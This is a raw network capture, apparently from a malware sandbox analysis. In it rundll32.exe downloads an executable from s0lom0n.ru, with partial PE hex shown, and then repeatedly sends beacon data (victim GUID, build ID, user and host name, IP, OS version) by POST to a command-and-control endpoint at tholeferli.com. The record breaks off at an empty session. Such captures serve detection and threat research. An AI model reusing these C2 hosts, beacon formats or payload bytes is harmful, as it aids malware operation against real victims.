Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49169	8.211.241.0	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:04.434003115 CEST	2	OUT	GET /7hsjfd9w4refsd.exe HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: s0lom0n.ru Cache-Control: no-cache
Jul 22, 2021 16:11:04.616672993 CEST	4	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 22 Jul 2021 14:11:04 GMT Content-Type: application/octet-stream Content-Length: 272910 Connection: keep-alive Last-Modified: Wed, 09 Jun 2021 16:00:40 GMT ETag: "60c0e5a8-42a0e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 00 00 00 00 00 2a 04 00 00 00 00 00 e0 00 2f 03 0b 01 02 1e 00 50 03 00 00 26 04 00 00 06 00 00 80 14 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 04 00 00 04 00 00 81 81 04 00 02 00 00 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 04 00 a4 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 9b 03 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 52 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 4f 03 00 00 10 00 00 00 50 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 38 00 00 00 00 60 03 00 00 02 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 a8 2d 00 00 00 70 03 00 00 2e 00 00 00 56 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2f 34 00 00 00 00 00 00 14 90 00 00 00 a0 03 00 00 92 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 40 04 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 a4 0e 00 00 00 50 04 00 00 10 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 60 04 00 00 02 00 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 04 00 00 02 00 00 00 28 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 c3 8d b4 26 00 00 00 00 8d bc 27 00 00 00 00 83 ec 1c 31 c0 66 81 3d 00 00 40 00 4d 5a c7 05 ec 43 44 00 01 00 00 00 c7 05 e8 43 44 00 01 00 00 00 c7 05 e4 43 44 00 01 00 00 00 c7 05 80 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL*/P&`@ PdR.textDOP`P`.data8`T@@.rdata-p.V@@@/4@0@.bss@@`.idataP@0.CRT8`&@0.tlsp(@0&'1f=@MZCDCDCD
Jul 22, 2021 16:11:04.616720915 CEST	5	IN	Data Raw: 40 44 00 01 00 00 00 74 49 a3 08 40 44 00 a1 f8 43 44 00 85 c0 74 2d c7 04 24 02 00 00 00 e8 b2 3d 03 00 e8 b5 3d 03 00 8b 15 08 44 44 00 89 10 e8 ac 3e 03 00 83 3d 20 60 43 00 01 74 63 31 c0 83 c4 1c c3 c7 04 24 01 00 00 00 e8 85 3d 03 00 eb d1 Data Ascii: @DtI@DCDt-$==DD>= `Ctc1$=<@@PE@uQft>fuv1rv'$QC@1ytL1:f,CDD$@DD$@DD$@D
Jul 22, 2021 16:11:04.616750002 CEST	7	IN	Data Raw: 10 00 8d 77 14 8b 47 08 3b 47 0c 74 72 8d 48 18 8d 55 d8 89 4f 08 8d 4d ac f2 0f 10 40 10 f2 0f 11 45 e8 f2 0f 10 00 f2 0f 10 48 08 f2 0f 11 4d e0 f2 0f 11 45 d8 e8 8b 2e 00 00 89 d9 e8 e2 1b 00 00 c7 47 10 01 00 00 00 f2 0f 10 45 e8 f2 0f 11 46 Data Ascii: wG;GtrHUOM@EHME.GEFEMNEtMEM]4g],uKuW0&.t8MEMMMEEMECKCO,>g,#H^_[
Jul 22, 2021 16:11:04.616771936 CEST	8	IN	Data Raw: d9 89 45 d0 f2 0f 11 45 c8 e8 b4 4e 02 00 89 d6 8d 4d ac 89 c2 56 e8 41 b7 00 00 58 89 d9 e8 dd 0f 02 00 8b 45 c4 f2 0f 10 45 bc f2 0f 10 55 ac f2 0f 10 4d b4 8d 4d 94 89 da 89 45 e0 f2 0f 11 45 d8 f2 0f 11 4d d0 f2 0f 11 55 c8 e8 99 2b 00 00 8b Data Ascii: EENMVAXEEUMMEEMU+EpUuJJMEMEMUFNVeME `^_[]USWV,rMBJ)EMtFKBAr[rIs
Jul 22, 2021 16:11:04.616791964 CEST	9	IN	Data Raw: 1c 8b 5a 04 89 c6 0f b7 78 06 85 db 74 0a 8b 76 34 8b 44 b8 34 4b eb ee 8b 52 08 eb 06 31 c0 31 f6 31 d2 83 21 00 89 71 04 83 61 08 00 83 61 0c 00 83 61 10 00 89 41 14 83 61 18 00 89 79 1c 89 51 20 5e 5f 5b 5d c3 55 89 e5 53 57 56 83 ec 20 8b 45 Data Ascii: Zxtv4D4KR111!qaaaAayQ ^_[]USWV EuMWPf%XYFN>^EMv9jXP7YUjXP7YjX9EuOM0}t2u6jZW\|%Y9u WuP-MUc0
Jul 22, 2021 16:11:04.616808891 CEST	11	IN	Data Raw: 74 00 00 eb 1a b8 5c 6e 00 00 eb 13 b8 5c 72 00 00 eb 0c b8 5c 22 00 00 eb 05 b8 5c 27 00 00 89 f9 c7 45 d4 01 00 00 00 83 65 d8 00 89 4d dc 89 45 e0 e9 50 ff ff ff 89 c1 80 c1 e0 80 f9 5f 73 05 31 c9 41 eb db 89 c2 c0 ea 04 3c a0 6a 57 59 6a 30 Data Ascii: t\n\r\"\'EeMEP_s1A<jWYj0_B$<jWZBj_\xjY/ECEeECeEKSPtY(^_[]UEMj'Y]UEMjY]UEu0
Jul 22, 2021 16:11:04.616833925 CEST	12	IN	Data Raw: 00 83 c4 24 5e 5f 5d c3 e8 95 1b 02 00 0f 0b 55 89 e5 57 56 83 ec 24 89 ce 31 c9 8d 45 f4 8d 7d ec 89 10 41 8d 55 d4 89 07 c7 47 04 13 28 40 00 89 0e 83 66 04 00 c7 02 c8 94 43 00 89 4a 04 83 62 08 00 83 66 08 00 89 7a 10 89 4a 14 89 f1 e8 bb fb Data Ascii: $^_]UWV$1E}AUG(@fCJbfzJu$^_]7UWV$1E}AUG&@fCJbfzJ]u5$^_]UWV$1E}AUG_&@f
Jul 22, 2021 16:11:04.616856098 CEST	13	IN	Data Raw: 75 1c ff 75 18 ff 75 14 e8 4f 05 01 00 83 c4 10 89 f0 5e 5d c3 55 89 e5 56 8b 75 08 8b 45 0c 8b 55 10 89 f1 ff 30 ff 75 1c ff 75 18 ff 75 14 e8 28 05 01 00 83 c4 10 89 f0 5e 5d c3 55 89 e5 56 8b 75 08 8b 45 0c 8b 55 10 89 f1 ff 30 ff 75 1c ff 75 Data Ascii: uuuO^]UVuEU0uuu(^]UVuEU0uuu^]UVuEU0uuu^]UVuEU0uuu^]UVuEU0uuu^]UVV^]U
Jul 22, 2021 16:11:04.616877079 CEST	15	IN	Data Raw: 30 37 00 00 58 5d c3 55 89 e5 53 57 56 83 ec 40 85 c9 74 36 8b 45 08 89 ce 0f b7 79 06 85 d2 74 0a 8b 76 34 8b 4c b9 34 4a eb ee 83 65 b4 00 89 75 b8 83 65 bc 00 83 65 c0 00 83 65 c4 00 89 4d c8 83 65 cc 00 89 7d d0 eb 0a 83 65 b8 00 83 65 c8 00 Data Ascii: 07X]USWV@t6Eytv4L4JeueeeMe}ee1MA trHEE]EKCsy9r"UMMUEY&UMEuFtL4Jt41#KCsEEt-MUu}MEU%
Jul 22, 2021 16:11:04.616899014 CEST	16	IN	Data Raw: 38 89 44 24 3c 89 54 24 40 89 f1 89 fa e8 4b 21 00 00 8b 44 24 1c 85 c0 74 0a 8b 4c 24 18 8b 54 24 20 eb d9 8d 65 f4 5e 5f 5b 5d c3 0f 0b 0f 0b 55 89 e5 8b 01 66 83 20 00 8b 51 04 8b 01 01 d2 89 c1 6a 02 e8 b1 31 00 00 58 5d c3 55 89 e5 8b 41 04 Data Ascii: 8D$<T$@K!D$tL$T$ e^_[]Uf Qj1X]UAtkj1X]UV~t+^]JVX^]UWV9t)IF)j4_(VMQ^_]U9t]]UWV9t)
Jul 22, 2021 16:11:04.671677113 CEST	18	IN	Data Raw: 36 e8 34 f1 01 00 58 59 0f 0b 55 89 e5 56 8b 31 89 d0 8b 51 04 89 f1 50 6a 00 e8 1b f1 01 00 58 59 0f 0b 55 89 e5 57 56 8b 11 8b 79 08 8b 71 04 8b 02 8b 52 04 89 c1 ff 37 ff 36 e8 fa f0 01 00 58 59 0f 0b 55 89 e5 ff 75 0c ff 75 08 e8 81 ee ff ff Data Ascii: 64XYUV1QPjXYUWVyqR76XYUuuYZ]UuuYZ4]UVUMut9tv<~^]MnUMUEUMt9tv<~)]MEUEAQ<USWV,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49187	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:12.384293079 CEST	317	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:12.542473078 CEST	318	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 54 47 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNTGMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.22	49367	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:45.595802069 CEST	519	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:45.752193928 CEST	520	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 41 5a 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNAZMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.22	49368	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:46.029088974 CEST	521	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:46.481442928 CEST	521	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 59 42 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNYBMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.22	49369	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:46.760914087 CEST	522	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:46.929050922 CEST	522	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.22	49370	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:47.194482088 CEST	523	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:47.664597988 CEST	523	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 41 5a 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNAZMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.22	49371	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:47.959105015 CEST	524	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:48.116082907 CEST	524	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 56 45 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZVEAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.22	49372	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:48.397820950 CEST	525	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:49.555432081 CEST	525	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4a 51 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGJQTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49188	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:12.851239920 CEST	319	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:14.007266998 CEST	319	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 56 45 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZVEAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49189	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:15.462692022 CEST	320	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:15.616853952 CEST	320	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4a 51 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMJQNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49190	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:15.904902935 CEST	321	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:16.062848091 CEST	321	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4b 50 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJKPQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49191	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:16.376070976 CEST	322	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:16.542682886 CEST	322	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 43 58 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFCXUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49192	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
